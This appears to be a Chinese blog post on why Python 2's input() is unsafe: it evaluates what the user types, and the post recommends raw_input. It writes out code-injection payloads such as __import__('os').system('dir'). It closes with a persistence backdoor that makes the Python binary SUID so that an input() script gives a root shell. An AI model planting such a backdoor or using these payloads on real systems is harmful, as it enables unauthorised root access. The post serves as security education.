python2的input,关于python2.x input函数的安全隐患

secret_value = 500

i = input('Guess secret_value:')

if i == secret_value:

print('you win!')

else:

print('you lose!')

input输入secret_value结果如下:

668bfbdb6813

raw_input()会将输入的数据默认当成字符串

input()会自动识别数据类型,并且会将算式进行运算,这也是漏洞产生的原因

而在python3中,python3的input函数已经代替了raw_input函数,默认字符串输出

用以下代码实验一下

c = 'john'

i = input('name:')

print(i)

输入 1+1 和 c,看到结果都做了运算

668bfbdb6813

利用input执行命令

输入__import__('os').system('dir')执行dir命令,成功执行

668bfbdb6813

因此,在python2环境的开发中,应尽量使用raw_input函数来代替input函数

一个简单利用:

假设我们获取了一台服务器的root权限

我们可以用命令 chmod 4777 /usr/bin/python2 为二进制文件赋予特殊权限位(suid)

将 input('getshell:') 写入py文件

接下来切换到普通用户,运行脚本

input出输入 __import__('os').execl('/bin/sh','sh','-p')

668bfbdb6813

可以看到直接弹回一个root权限的shell

不过只是单单作为提权后的维持权限的后门

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值